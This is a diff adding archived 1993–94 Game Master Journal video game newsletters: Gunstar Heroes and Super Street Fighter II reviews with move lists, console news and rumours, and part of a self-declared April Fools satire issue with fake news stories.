up on. Older twists such as reappearing bosses has also been +used so that the boss count in this game is over fifteen guys. + +Games with great graphics or a lot software techniques usually end up +having one area of the game being less than standard. This is not +true with Gunstar though, because the music and sounds in this game +are THE best I've ever heard on the Genesis. The background music +pounds out some hard rock tunes while the on screen action is heard +with some heart stopping explosions and non-stop gunfire. Every +action has it's own sound effect so your neighbors may complain that +there's a war going on in your bedroom. + +One feature that I didn't mention above is that Gunstar is a two +player game also. After testing it out though, we found that some +slow down was found in some levels because of it, but not enough to +hurt the game in any way. To add to the replay value, Gunstar has the +perfect difficulty curve that actually affects the attacks of the +enemies (ie. on easy, there are several "spots" where you can stand +when fighting a boss and not get hurt, but while on the other settings +you can get hurt anywhere.) To me, Gunstar is almost the perfect game. +Everything is done to perfection, with action unequaled in any +earlier attempts at a side-scrolling action game, and that is as fun +to watch as it is to be playing. Hopefully, more games will be made +with this being the game to match in overall quality and +professionalism. Goods news for us though, because this game is just +screaming sequel. + +Phunky Pheel One-96 Wow! +This game sets new standards for video games in general. Not only are +the graphics some of the best, but the sounds and playability are up +there with other classics like Contra and Mega Man. To bad the +creators of this game are working on a McDonalds game and not a sequel +to Gunstar Heroes! + +Anderson-90 +Gunstar Heroes shows that with a lot of programming a game can surpass +the expectations of a system. I couldn't believe the amount of action +on screen at once. The two player adaption was a great addition to a +game that needs no improvements and has the best moves this side of +Street Fighter. + +Pepperidge Farmer-97 +Perfect man, perfect! I've been playing this game non-stop ever since +the GMJ offices got it in. The many smiles this game gave me is worth +the price, no prob. One or two more levels would have made this game +a 100. + +*** NEWS D70 *** + +GENESIS NEWZ CLIP: +Redo it! The preliminary version of Tournament Fighters from Konami on +the Genesis looked pathetic, however after retooling and refining +backgrounds and animation, the Genny version is starting to look up. +The hyped up Eternal Champions from Sega is one of the best looking +games for the holidays. The new texture techniques used will be +making this one of the most impressive graphical displays on the +Genesis EVER! + +*___________________________________________________________________* +| Game Master Journal is America's #1 online source for video game | +| information. We have been read on the ExpressNET, Datanet and | +| other independant BBS' since April 1, 1992. | +| | +| GMJ represents our attempt to inform gamers world-wide about every| +| aspect of videogaming, and what follows are plans for GMJ. As we | +| expand to the Internet, we are making a bold, new step of inform- | +| ative journalism. We are glad that you make this possible. | +|___________________________________________________________________| +* * + +** ELECTRONIC PRINT ** + +Here is the future of GMJ: a multi-media experience that ALL gamers +can enjoy! Anyone with a PC (or PC clone/emulator) can enjoy +full-color, SVGA graphics AND digital stereo audio clips of your +favorite games! + +GMJ Electronic Print is a series of SVGA graphic pages that can be +either viewed on-screen with any .GIF viewer, or can be printed out +for permanent paper storage. Either way, it looks GREAT and is FREE +to our BBS users that download it. (The file is HUGE however.) If you +cannot download GMJ-EP, you can subscribe for only $10/year - less +than $.85 an issue! + +To subscribe, please make out a check to Reny Falzarano at 255 North +Rd #31, Chelmsford Ma, 01824. or call 508-250-4989 FAX 508-250-4020 + +** GMJ TV? ** + +Our readers have demanded it. Our staff wants to do it. It appears +that GMJ:TV could be coming soon to a network near you! Stay tuned! + + ******************* + ** THE CHRONICLE ** + ******************* + +...by, Da Phunky Pheel One, Ace, Sr. Jnx and others... + +Welcome back all to another exciting issue. +This issue we are featuring 2 special reviews of games that appear on +both the SNES and Genesis. If you have trouble deciding which +version of a game to get, GMJ will now be doing side by side +comparisons of any game that appears on 2 or more systems. Next +issue you can look forward to over 15 reviews and a special +Electronic Arts insert reviewing ALL the four way play games, as well +as 2 3DO reviews. + +Macromdeia announced recently to develop a player which would allow +Director Macintosh or Windows files to be compatible on the 3DO. +This is the first bid to direct the 3DO as a business utility and not +just a video game console. Marketing the 3DO directly to compete +with Macs and PC's would certainly strenghten the list of pros for +the 3DO as we here at GMJ are not very convinced that the 3DO is +strictly a video game unit. + +In Segaland there is many a rumor flying around about the Saturn. +Sega may ditch the old format and hop right on to a 64 bit project +with the same title which would be a CD based unit that would play +Sega CD format games as well as regular Genesis titles. Our source +for this rumor was very bleak so that is all we can say right now. +If we find any backbone or followup information to that story, you +will be updated...But for what we CAN tell you right now not to +expect this super system until late '94. At the earliest. + +Any Genesis owner who feels depribed for some reason that only SNES +players will be enjoying the horrible SFII/MK ripoff, Clayfighters +can rejoyce. Interplay, makers of the SNES game Clayfighters has +singed on to the Sega 3rd party crew with a Genesis version of +Clayfighters. + +Some possible last second changes to Sonic CD might be a replacement +of the cinema scenes. We hate to throw another rumor at you but we +have to. The grapevine has it that the current cinemas to Sonic CD +will be replaced by segments of the Saturday version of the cartoon. +As long as they don't delay the game because of this, I don't care, +otherwise...WHY?!?! + +All of you Sega/health freaks (and those two things are just so +complimantary of each other) can have fun with an upcoming excersise +unit from the company Hearbeat. This unit plugs into the Genesis +control port and its directional controls are hooked up to an +exersise bike (provided by you). You setup a workout which will be +interactive with a game. The concept of the packin game (Outback +Joey) is to go through levels and fight off bad guys while mantaining +a certain heart rate. There may also be an NHL game in development +for this unique attachment...? + + ___________________________________________________________________ +| | +| SPECIAL REPORT: | +| | +| HANDS-ON 3DO REPORT! | +| | +| | +| | +|___________________________________________________________________| + +Nearly three weeks ago the long awaited Panasonic 3DO multimedia unit +was released nationwide for a retail of $700. Available for our +hands on test was one pack-in game wad Crash and Burn - a futuristic +racing game. For what we had been expecting, believe it or not some +at GMJ were somewhat disappointed. Before you decide to stop reading +our magazine forever though, hear me out. The scaling, graphics and +manipulation of the objects and backgrounds was incredible, however +the movement and interaction with the car and backgrounds was poorly +done. Then we thought it was not fair to judge a first title so +strictly, and when compared to say an Altered beast or Super Mario +World (in ratio), it is needless to say that Crash and Burn is a +king. + +I was disappointed in the marketing of this unit. Thrown in every +video game section of every store, the 3DO is now directed as a way +too expensive video game unit, instead of a next wave multimedia +entertainment business and networking unit and possibly the +replacement for VCR and alternate to an expensive PC that it is. +Instead of packing the unit with a keyboard or control panel, the +system is packed with a video game controller and the "bare" system +is not fully capable of running full length full motion video discs. +A special cartridge upgrade has to be installed. These are all some +major mistakes because at $700 no one is purchasing this system so +they can play Madden football...and if they are, they got some +problems. + +Ok, so you are all thinking how bad we are dogging this unit. NO NO +NO! Not at all. I am convinced this will be the entertainment unit +of the future hands down. The possibilities of the 3DO are endless. +We just thought that their marketing approach was all wrong. Why +should I spend $700 that is not loaded with some of the standard +features it was supposed to COME with when in 9 months another 3DO +system will be released for $500 with internal full motion +capabilities, a keyboard, and a mouse? + +Let there be no mistake. This IS the future of entertainment. This +is a video game system, interactive TV, fax machine, VCR and more all +in one unit. + +Check out next issue where we will give you a FULL coverage report +and review the games. + + + ___________________________________________________________________ +| ##### ##### ##### ##### ###### ###### R | +| # # # # # # # # # # E | +| # # # # # # # # # # V | +| ####### ##### # ####### # # ### I | +| # # # # # # # # # # E | +| # # # # # # # # # # W | +| # # # # ##### # # ###### ###### S | +|___________________________________________________________________| + + + ++-------------------------------------------------------------------+ +|TITLE: |PUBLISHER |GAME TYPE: |SIZE: | AVERAGE OF REVIEWS | +| Super Street | Capcom | Fighting |88 MEG|0 95| +| Fighter II | | |rumor!|*****%%%%%@@@@@####-| +|---------------+-----------+-----------+------+--------------------| +|MAIN REVIEW BY: OTHER REVIEWERS | +| | +| Ace 95 ---------- ** ---------- ** ---------- ** | +| | ++-------------------------------------------------------------------+ + +Lets get right to the chase gang, this is one HELL of a game! The +game that started the craze, Street Fighter, has it's third upgrade +now, this time with new everything! 4 new characters, redrawn +graphics, re-sampled sounds... it's all here! NEW MOVES TOO! + +Unless you have lived in a CAVE for the last 30 months, you know that +the object of Street Fighter is to beat your foe in a +two-out-of-three falls match. There are SIXTEEN characters to choose +from, each with their own fighting style. Some throw fireballs, some +are great with their hands while others are blazing fast. It is up +to you to find a character that best macthes your playing style. + +You play against 12 of the 16 characters when you play against the +computer, and the first 11 are randomly selected. The final +character you face is M.Bison, the evil druglord/dictator of Thailand +who has spread his evil world-wide. + +When someone else puts their credits in the machine, the game goes +into a head-to-head mode. You then must fight to stay on the machine +because the loser goes home! + +One of the Game of the Year candidates, this one will blow you away! + +Ace - 95 +The ONLY problem I had with this game was the fact that the sounds, +although they sound GREAT with Q-sound, are AWEFULLY DONE! This +sounds like a NEO*GEO game! But other than that.. LOOK OUT! + +==================================================================== + WARP ZONE! +==================================================================== + +SUPER STREET FIGHTER MOVES: All of the new ones BEFORE EGM, + GamePro, VG + Die Hard Game Fan. + +NOTE: Although this LOOKS like some posts on the Internet, this is + NOT a 'steal', we did find these moves, these are OUR strat's + and all of these moves are listed correctly. (IF not, tell + us, and we'll fix it!) + + +==================================================================== +Cammy +==================================================================== +Special Moves: +Spear kick: | \ --o + kick + o o + +Spinning Backhand: / | \ + punch + o o o + +Crescent Kick: --o | \ + kick + o o + +Pile-driving Suplex (Pileplex): --o + fierce kick + [ THROWING DISTANCE ONLY ] + +Back Suplex: --o + fierce punch + [ THROWING DISTANCE ONLY ] + +Ariel Throw: --o + medium kick + +Comments: +Spear Kick: Cammy launxhes herself horizontally, close to the ground, +at the opponent. This is actually her worst move, but it can be used +it combos very easily. The only problem with it is that it has +horrible recovery time. This can be dealt with by doing the short +spear kick from the limit of its range so that while your opponent is +recovering from the block, you can be recovering from the kick. It +also places you at the maximum distance from the opponent. It also +only goes about half way across the screen before stopping. It can +be used to stop projectiles like Blanka and Honda, but it is best +used as a defensive maneuver. + +Spinning Backhand: This looks like a quick spin followed by a guile +backhand. It has the capability of hitting twice, and when it does +it does a great deal of damage. Secondly, when Cammy is spinning on +her heals she is invincible. But you have to have perfect timing, +since you are vulnerable before and after this point. It can be used +like Balrog's TAP to dodge fireballs, but it is more difficult to +time. Because you move so far forward, you will probably want to use +the jab spinning backhand, otherwise you will end up within sweeping +distance. The move is fairly slow, but if used correctly, deadly. + +Crescent Kick: This is basically a dragon punch with her foot, and it +is her best move. It has a trajectory that is wider than Ken's +fierce DP, and it is also invincible (except against Ken/Ryu's Dragon +Punch) while going up. The intital frames are vulnerable, though, so +it cant be used exactly like the DP. + +Combos: + If Ken or Ryu throw a fireball, do the following... + Spinning Backhand, short kick, Crescent Kick (3 to 5 hit combo) + If Guile shows Sonic Boom or Dee Jay shows Ace rusher, do... + Spinning Backhand, Crescent Kick (2 to 4 hit combo) + +Overall: +Cammy is one of the best new characters in the game, according to +most people. She has good speed and air-priority to rival Chun Li. +She seems to be played in the same style as Chun Li, but with the +added advantage of the uppercut-like kick. She is great at anti-air +defense, also. + +==================================================================== +T-Hawk +==================================================================== +Special Moves: + +Mexican Typhoon: full 360 degrees on joystick + punch +(aka Phi Slamma Jamma) (like zangief's spinning pile driver) + +Condor Dive: Jump + (all three punches) + +Tomahawk Buster: --o | \ + punch + o o + +Face Smash: --o + fierce punch + +Face Chop: --o + roundhouse + +Throw: medium punch + + +Comments: +Mexican Typhoon: Hawk grabs you, plams your head like a basketball, +jumps in the air, windmills you in the air 720 degress, then slams +you into the ground head first. If you want to impress the hell out +of everyone around you, this is the move to do. It has a pretty +decent range, about the length for dahlsim to throw. + +Condor Dive: T-Hawk jumps, then suddenly dives at you like dahlsim's +yoga spear. This move can be deceptive - try jumping back, then +diving with the condor dive. It has a good range, but can only be +done on the way up, not on the way down. It can be useful for +countering fireballs. + +Tomahawk Buster: Another version of the DP, but this goes more +diagonal and is not as quick. It is only invincible for a very short +time at the beginning, then the rest is vulnerable. The fierce TB +extends really far - farther than ken's DP - and can also hit twice +if close enough. It has a pretty nasty fall distance, so it can be +risky. But the delay when you reach the ground is minimal. + +Combos: +Roundhouse neck kick- standing forward- fierce tomahawk buster. + +The tick standing short - into mexican typhoon seems to work, but not +as well as Zangief's. + +Overall: +T-Hawk seems to be a very versatile character. His biggest weakness +is his speed, but that can be made up for by his big moves. His +spinning leg sweep is also a nice move, and it executes faster than +Guile's fierce trip. His kicks have decent range - much better than +Ken, Ryu, Zangief, and Chun Li's, i would say. His standing forward +is really nice - it has about a Ryu crouching roundhouse range, +sticks out straight, and is fast. + +==================================================================== +Dee-Jay +==================================================================== +Special Moves: + +Machine Gun Upper: | o + (punch, punch, punch...) + o | + +Ace Rusher: --o + punch + (charge) + +Hop Step and a Kick: o-- --o + kick + (charge?) + +Dee Jay Escape: | + roundhouse kick + o +Comments: +Machine Gun Upper: If you hit the button once, you get a jab-like +uppercut. Tapping a punch button repeatedly after executin the move +will extend the punch further. It works well as a defensive move, as +it will stop most characters from jumping in. It is difficult to hit +more than a few times, but it has been done up to four. + +Ace Rusher: This looks and works like guile's sonic boom, but is +different because it has a long recovery time and his body leans way +forward when performing it. + +Hop Step and a Kick: He sort of kicks, turns around, and kicks again. +Crouching Roundhouse: This is like dahlsim's slide. It can be used +against someone who is jumping in at you, but unfortunately it cant +go under fireballs. If the timing is right, you can follow up a +fireball with this. + +Combos: + jumping hit - standing forward - fireball + jumping hit - standing short - short spinning kick + +Overall: +Dee Jay seems to be one of the better characters and will be +especially useful to those who know how to use Guile. His far +standing fierce is a good anty-air attack, and his jump + roundhouse +hits far enough down to hit Dahlsim's crouching fierce. His jumps +are his biggest flaw. The lower part of his body hangs really low, +which makes it hard to jump over fireballs. Fireball traps seem to +work very well against him, since jumping is difficult and he lacks +any invincible move. + +==================================================================== +Fei Long +==================================================================== + +Special Moves: + +Triple Punch: | \ --o + punch (repeat, + o o repeat...) + +Flaming Vertical Kick: o-- | / + kick + o o + +Leaping Double Kick: --o + roundhouse + +Flip-over throw: --o + roundhouse + [ THROWING DISTANCE ONLY ] + +Comments: +Triple Punch: Doing the fireball motion once will give you a flaming +jab. Doing it again quickly will cause him to slide forward a bit +and follow up with a straight punch. A third time finishes the move +with another punch. He rushes at you faster than Balrog's rushing +punches, but it is hard to get the timing right to get multiple hits. +Practice makes perfect! + +Flaming Kick: He jumps into the air with his leg on fire. The +horizontal range is non-existant. The height is determined by which +kick you use. It is a bit safer than a dragon punch because if you +do it too soon, you might be in a defensive crouch. If you do it too +late, you will still be blocking. It seems to be mainly a defensive +move. + +Leaping Kick: Fei Long jumps at you with a double kick. It does +pretty decent damage. Although he spends a lot of time moving +forward with no attack out, once the attack comes out it has one hell +of a priority. + +Combos: +This combo is great against the larger characters (Zangief, Hawk) +Jumping roundhouse, short kick, Triple punch over + over + +Overall: +He has the potential to be the next anti-character, like Guile was +for Ken/Ryu. Use him against characters without projectiles for the +best chance of victory. + +=================================================================== +Ryu +=================================================================== +Dragon Punch: --o | \ + punch + o o + + Still the superior move in the game. Deadly, but not as damaging. + +Red Fireball: o-- / | \ --o + punch + o o o +This is a red fireball that will burn the opponent like Dhalsim's +yoga fire. + +Fireball: | \ --o + punch + o o + +He has a longer delay after his fireball and his hurricane kick now +starts spinning on the way up and all the way down, following his +jump motion. + +Hurricane Kick: | / o-- + kick + o o +Air Hurricane Kick: Jump then HK motion + +The kick still does tons of damage. the Air HK now follows the +motion of his normal jump (arced). The sooner you do the HK motion +during your jump, the higher you'll fly. + +==================================================================== +Ken +==================================================================== +Changes to his DP - fierce now burns opponent and can hit 3 times. +Jab hits once and knocks down. His hurricane kick is also like +Ryu's. Does not have a flaming fireball.. but other than that, see +Ryu. + +============================================================================== +Chun Li +============================================================================== +Fireball: o-- --o + punch + (charge) + +The new fireball. +ONLY use in a situation where your opponent will definitely either be +hit (like in a combo) or will have to block (such as when an opponent +is just getting up). The delay AFTER the fireball is even longer +than the delay in HF and the fireball (actually, it looks like a raw +egg being tossed) dissipates (dissapears) before crossing the screen. +The faster the fireball, the shorter the distance. + +Helicopter Kick: | (charge) o + kick + o | + +The altered Helicopter kick +MUCH better against opponents jumping in, as the animation sequence +where Chun is just beginning to flip over now knocks the opponent +down (doesn't leave them standing to retaliate). Works great vs. +Ken/Ryu, and Long. Haven't tried it vs. anyone else yet. Her +aerial Helicopter (where she goes into it quickly after jumping) is +strange, but I imagine helpfull against corner traps, as it arcs in +the path of her natural jump, and goes by kinda fast. This is one of +the more important positive changes made. + +Combos: +jumping hit - standing fierce - fireball/lightning kick jumping neck +fierce - standing strong - standing fierce - lightning kick jumping +fierce - standing strong - crouching forward. + + + +============================================================================== +Zangief +============================================================================== +Zangief's Power Moves: 360 spin from forward to down + and back around to front and.... + + punch -- old faithful, the SPD (spinning pile driver) + kick -- charge throw, or CPD (charge pile driver) + kick (close)-- drop then flip and leap into air with them, + or FPD (flip pile driver) + +Knee Drop: o (hold) + fierce + | + + No more one-hit dizzy. + + +Air Throws: He has TWO air throws + fierce (and forward)--almost exactly like Z's old crouch strong throw, + but in the air. + roundhouse (and forward)--almost exactly like his old crouch fierce, but + in the air--nabs them and with no pause heaves them in the air over + his shoulder (doesn't look up like he did before) + +Throws: finally got all but one normal throw checked out. + Strong--simple pile driver from before. + Fierce--iron claw aka far+strong from older versions + Forward--new suplex ala fierce from older versions--heaves opponent + over head, then falls back, but this time he ends up + horizontal about 1 inch from the ground, and then you fall +down. + Roundhouse--chin smash ala far+fierce from before + crouch fierce--gut wrench as older versions. + + +============================================================================== +Blanka +============================================================================== +Blanka Ball: o-- --o + punch + (charge) + + Still one of the fastest moves in the game. + +Vertical Ball: | (charge) o + kick + o | + +Flip Roll: o-- --o + kick + (charge) + +Blanka flips back, then does a roll that has an arc to it. If timed +right, it can go over fireballs. + +He is improved in someways, DIES in others. He now stops rolling in +his vertical roll and goes back down at an angle so he cant be swept +or dragon punched so easily. Also, the timing of his rolls are such +that, if blocked, a quick fireball will hit it on the way down. + +==================================================================== +Honda +==================================================================== +Thousand Hand Slap: Punch buttons over and over + + Great for corner-trapping. + +Banzai Drop: | (charge) o + kick + o | + +============================================================================== +Guile +============================================================================== +Sonic Boom: o-- --o + punch + (charge) + + An ever BETTER recovery than before! + +Flash Kick (aka Razor Kick): | (charge) o + kick + o | + + The range for this has been dropped a bit. More defensive now. + +Mid-Air Back Breaker: --o + punch + +Pretty good priority. Watch out for mis-timing.. you need to be +almost touching to pull the move off. + +==================================================================== +Dhalsim +==================================================================== +Dhalsim Disappear: + --o | \ + punch OR o-- | / + punch + o o kick o o kick + +Either forward DRP will put you in front of your foe, either backward +will put you behind him or her. Punch = far away, kick = near. + +Fireball: | \ --o + punch + o o + + Just as good as Ken and Ryu's! + +Yoga Flame: o-- / | \ --o + o o o + + This hangs around for a LONG while! + +==================================================================== +Balrog +==================================================================== +Buffalo Headbutt: | o + punch + o | + (charge) + Yet another variation on the DP. + +Charge Punch: o-- --o + punch = straight + (charge) kick = uppercut + +Turn Around Punch: HOLD ALL 3 KICK then let go + +This move no longer lets you go through fireballs. + +Here's the bottom line: + Power DOWN. + +Against anyone w/o a fireball, Balrog will roast 'em. Easy. +Against anyone WITH a fireball, well, you're gonna have to work. And +hard. + +Overall, he's still a power to face.... if you use him, good luck. + +==================================================================== +Vega +==================================================================== +Air Spiral: | o or o + punch + o \ / + (charge) +Vega jumps off the wall like he is going to do a claw dive, but then +dives head first across the screen in mid air. He picks the wall +depending on where you point (up-left or up-right.) + +Spread Eagle: | o + punch + o | + (charge) + +Wall Dive - Suplex: | o + kick, then PUNCH when near + o (charge) | your foe. + +==================================================================== +Sagat +==================================================================== +Tiger Shots: | \ --o + punch = high Tiger Shot + o o kick = low Tiger Shot + +Tiger Uppercut: --o | \ + punch + o o + o +Tiger Knee: / | / + kick + o o + + About the only change is that his tiger knee now goes further. + +==================================================================== +Bison +==================================================================== +Flying Dive: | o + punch + o | + (charge) +He jumps really high and then comes down and hits you on the head +with his fist. + +Anti-Grav Kick: | o + kick + o | + (charge) + +Still defies gravity with this jump, after it hits you can attack +again in mid-air! + +Bison Torpedo : o-- --o + punch +(aka Psycho Chrusher) (charge) + + Only hits at MOST 3 times. + +Scissor Kick: o-- --o + kick + (charge) + + Always a knock-down move! + ++-------------------------------------------------------------------+ +| | +| IN THE NEXT MORE Super Street Fighter 2 tactics and tricks | +| ISSUE OF... The low-down on the Jaguar and 3DO | +| | +| GAME MASTER At least 6 SNES + Genesis games reviewed, AND | +| JOURNAL info, WAY BEFORE the other guys, about the | +| upcoming Winter CES this January! | +| | ++-------------------------------------------------------------------+ +Producer: Anthony Shubert Online Layout Editor: Anthony Shubert +WWIVcolor editing by: Will Crawford ANSI Editing by: The Last ANSI +Head Writing Staff: Contributors: + HOME SYSTEMS Reny Falzarano Mr. Sims, the Pepperidge Farmer, + HEAD REVIEWERS Instigator Sr. Jnx, Mr. Mojo Risin', Aquarius, + FUTURE WAVE Tanya Kutasz Emax, Sai-Blade, Matrix, Shez + IBM GAMES Will Crawford + + +We are not affiliated with or endorsed by the followig companies: +Nintendo of America, Sega Enterprises, Turbo Technologies (NEC), +Atari Corp., Atari Games, SMSG, or any other videogaming company. + +Product names are either (c) or trademarks of their respective +companies, and the non-marking of such product is not a challenge to +its status. + +Ace's Angles, Chronicle, Express Mail, Warp Zone, and all content are +(c) 1990, 1991, 1992, 1993 Innovative Creations + +:: Some ASCII/ANSI work created with use of 'TheDraw' SW program :: diff --git a/textfiles.com/games/gmj43.txt b/textfiles.com/games/gmj43.txt new file mode 100644 index 00000000..579d2eca --- /dev/null +++ b/textfiles.com/games/gmj43.txt @@ -0,0 +1,443 @@ ++==================================================================+ +| ____ __ __ _ | +| / ___| __ _ _ __ ___ ___ | \/ | __ _ ___| |_ ___ _ __ | +| | | _ / _` | '_ ` _ \ / _ \ | |\/| |/ _` / __| __/ _ \ '__| | +| | |_| | (_| | | | | | | __/ | | | | (_| \__ \ || __/ | | +| \____|\__,_|_| |_| |_|\___| |_| |_|\__,_|___/\__\___|_| | +| | +| _ _ | +| | | ___ _ _ _ __ _ __ __ _| | | +| _ | |/ _ \| | | | '__| '_ \ / _` | | | +| | |_| | (_) | |_| | | | | | | (_| | | | +| \____/\___/ \__,_|_| |_| |_|\__,_|_| | +| | ++==================================================================+ +| Nintendo and Sega asks users to stop buying product _ _ _____ | +| REVIEWS: Doom 4th episode, | || ||___ / | +| Atari to form new games group with Time Warner | || |_ |_ \ | +| Ace's Angles: r.g.p cool +====================+ |__ _|__) | | +| CRAWFORDALITY CONFIRMED! | April 1 to April 7 | |_||____/ | ++=============================+====================+===============+ + IF YOU HAVE ACCESS TO Internet Relay Chat (IRC), then join the GMJ + Chat Channel, #GMJ. Tuesdays at 7pm Pacific some of the GMJ Crew + will be available to answer your questions. Industry insiders + dropping by too! [Moderated.] + + Ace's Angles + rec.games.pinball takes GMJ with open arms + Express Mail + GMJ is cool! We take back all of the flames! + NEWS FLASH + Atari joins with Time Warner + Nintendo, Sega call for product removal + Mortal Kombat II: Crawfordality, new hidden characters confirmed + PC Reviews + Doom, the fourth episode + + ___ _ ___ _ + / _ \ ( ) / _ \ | | + | |_| | ___ __|/ ___ | |_| |_ __ __ _| | ___ ___ + | _ |/ __/ _ \/ __| | _ | '_ \ / _` | |/ _ \/ __| + | | | | (_| __/\__ \ | | | | | | | (_| | | __/\__ \ + |_| |_|\___\___||___/ |_| |_|_| |_|\__, |_|\___||___/ + __/ | + |___/ + Welcome to yet another installment of the Internet's least read + magazine, Game Master Journal. + This is our last issue. Everyone is right - we are the dregs of the + earth, we shouldn't litter the Net with such dribble.. + NOT! + This is April 1 gang, it's time for GMJ's annual April Fools issue!' + But wait, before I do any of that, lets get the legal BS outta da way: + + This issue of GMJ is fiction. Nothing in it should be taken as + fact, as it is satire, sarcasm and other things that lawyers love + to take and make money with. WE ARE KIDDING FOLKS, nothing here + has truth. This changes with GMJ 44, when we return to the + high ethical, moral and editoral standards that everyone + associates with Game Master Journal. + + Whew - that was tiring. Oh! And another thing.. this is our SECOND + ANNIVERSARY of being online! Two fun years of GMJ - and here comes + number three.. what a way to start! More 2nd anniversary info in our + next issue. NOW THEN - let the fun begin. + This is our last issue, right, so, um, I won't be seeing you ever + again!! ARGH! + + _____________________________________________________________________ +]^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^[ +] Innovative Creations [ +] 3730 McClintock Ave #537 +--- + + +--+ +--+ +--- +-- +-- [ +] Los Angeles, CA 90007 |- ++ +--+ |-++ |- +--+ +--+ [ +] (shubert@usc.edu) +--- + + | | \ +--- --+ --+ [ +] |\ /| +--+ -+- | [ +] | | |--| | | [ +] | | | | -+- +--- [ +]_____________________________________________________________________[ + ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + +*** We take back everything we ever said about you, GMJ + + We want to apologize. VidBits went way overboard with our 'Why GMJ + readers, writers and staff should be uppercutted into the Dead Pool' + article. I am actually a big fan of GMJ, and started VB so I could be + just like you. I'm sooooo sorry, won't happen again. + + Matt Kruse, editor of VidBits magazine + mkruse@saunix.something.edu + + [ACE: Aww, it's okay. We knew it all along. ] + +*** We take back everything we ever said about you, GMJ, again + + We want to apologize. rec.games.pinball has been very childish with + our dismissal of fine editorial content found weekly in GMJ. Please + come back.. no more flames, we promise. + + All of the rec.games.pinball readers + [email address withheld to save bandwidth] + + [ACE: Hey, it's okay. We all know how r.g.p is a flame-fest. We knew + it all along. ] + + ..................................................................... + :WE are the only magazine that prints ALL EMAIL sent to us that is : + :not vulgar or obscene. So.. send your videogame hints, tips + Q's!: + : : + :# # ##### # # ### # # ##### ##### # # ### ##### # : + :# # # # # # # ## # # # ## ## # # # # : + :# # ### # # ##### # # # # ### # # # ##### # # : + :# # # # # # # # # # ## # # # # # # # # : + : # # ##### # # # # # # # ##### # # # # ##### #####: + : ........................: + :shubert@usc.edu VOICE: 213-743-1877 : : + :------------------ : Without email, GMJ : + :tnkutasz@ugcs.caltech.edu [Arkady] : can't work! So tell : + :ccd@panix.com [Cue] : us what you think! : + : : : + :...........................................:.......................: + + _ _ _______ ______ _____ _ ___ ____ _ _ + | \ | | ____\ \ / / ___| | ___| | / _ \/ ___|| | | | + | \| | _| \ \ /\ / /\___ \ | |_ | | | |_| \___ \| |_| | + | |\ | |___ \ V V / ___) | | _| | |___| _ |___) | _ | + |_| \_|_____| \_/\_/ |____/ |_| |_____|_| |_|____/|_| |_| + + Nintendo, Sega call for product boycot + + Los Angeles, (March 32, 1994) + The Big Two announced today that they are removing all Genesis and + Super NES products from stores effective immediately. A Nintendo + representative said "We cannot in good conscience allow our inferior + technologies to be sold with Project Reality and Saturn/32X coming so + soon - only 18 months away." + She went on to say that anyone selling the product will be fined by + the FTC for selling antiquated technology. + Sega's reps echoed Nintendo. They also said that no more voilent + games would be allowed on any Sega product.. all games must fit their + GA rating. + In a related story, Nintendo signed a deal with Midway, saying that + MK2 will be exactly like the arcade, blood and all. MK2 will be out + this summer, with MK3 hitting the SNES before the arcade, probably in + time for Christmas. + + +-------------------------------------------------------------------+ + + TIME WARNER AND ATARI CORPORATION FORM NEW SOFTWARE PUBLISHING FIRM + + Sunnyvale, CA (March 28, 1994) + Atari Corporation (ASE:ATC) today announces a collaborated software + firm with Time Warner, Inc. Avid Software, Incorporated will commence + operations within the next 30 days and leasing space initially within + the excutive suites of Atari Corporation in Sunnyvale California. A + development lab will be established with the Warner Bros. Studios in + Southern California. The two facilities will be linked by high + technolgy satellite watts services for real time software development. + Warner Bros. will focus on story lines and intense animated graphics. + The operation in Sunnyvale will assemble the hardware-based and + software-based graphics engines as well as game play models and + prototypes. + The new operation is announced just months following Atari Corp's + successful launch of a new, high end, 64-bit gaming system dubbed the + Jaguar. Avid Software will dedicate 100% of development time for the + first year exclusively to the Jaguar platform. Although the core + development teams have been assembled for the Avid Software project, + executive decisions will be made by Sam Tramiel, President of Atari + Corporation, until a permanent executiuve staff has been selected. A + panel assembeled by Time Warner will review all long range goals every + ninety days. + The first three software titles to be developed by Avid Software and + scheduled to be released within the fourth quarter of 1994 have also + been announced. They promise a unique blend of realistic digitized + graphics, powerful high-definition animations, unique gaming plots and + topical story lines. + + Games slated to be produced soon by Avid are: + + HARDING FALLS(tm)--- Just outside of Portland, Oregon a small + unincorporated town adopts a new name; Harding Falls. Made popular by + a local young girl who fought her way to the '94 Winter Games, the + town unites to launch a new young starlet on to a promising athletic + career. Harding Falls is where it all begins. Local challengers test + all of their physical savoy against each other for overall performance + virtues. Players pre-select their character from an arsenol of + determined challengers. + Each stage consists of a practice session in which a complete + skating routine must be rehearsed. Obstacles such as untied skates, + boos from the crowd and irate family members distract your performance. + With each small win, a weapon toward victory is awarded for use during + the performance levels. Sometimes it might be deadly capped teeth. + Other times it may be a stick or a steel club. + Play against 64-bits of automated power or one-on-one with an + aggressive challenger by your side; either way you either win gold or + cry your way back to Harding Falls to try all over again. Cartridge- + based game features hidden secrets, multi-player action, high + resolution graphics and a five dollar coupon toward the purchase of + "The Club". + + + HOLLYWOOD STUNT SPECTACULAR(tm)--- With so many action games designed + to fight and kill opponents, Warner Bros. calls upon their army or + stunt professionals to reveal their best kept secrets to stay alive. + Take a 125 level backstage studio tour through Warner Bros. hottest + action films such as Superman, FreeJack, Batman Returns, The Last + Boyscout and The Fugitive. Race through high definition scenes of + your favorite films and pick up props such as breakaway chairs and + candy glass. Battle friendly adversaries, but don't hurt them... + after all, they're really your friends. Pick up the wrong prop as a + weapon and you may kill your supporting actor or actress and lose your + part in the greatest film ever made. + This fast paced, action game includes the thrills of thrillers and + the secrets of a great mystery. The ultimate object is to win without + hurting anyone, but don't think for a moment there is no blood! One + player action. Cartridge-based game includes $5 off coupon for select + Warner Bros. videos. + + + BOBBY BOBBIT AND FRIENDS(tm)--- Here's an animated interactive cartoon + for adults only! At first glance, it looks harmless enough... Bobby + Bobbit is a bouncy bunny that likes to make friends. + Collect points by finding carrots and hidden treasures. Unlike most + treasures, though, Bobby doesn't want to collect coins and tokens. He + collects shears, razor blades and carving knives. Usually Bobby's + friends help find treasures, but sometimes his friends get too rough + and Bobby must take corrective action! + Game includes vivid cartoon violence unlike any other you have ever + seen. ONLY on the JagCD, this game is rated NC-17 for violense. + Let's just say it's a Saturday morning cartoon that will increase + attendance at Sunday Mass. + 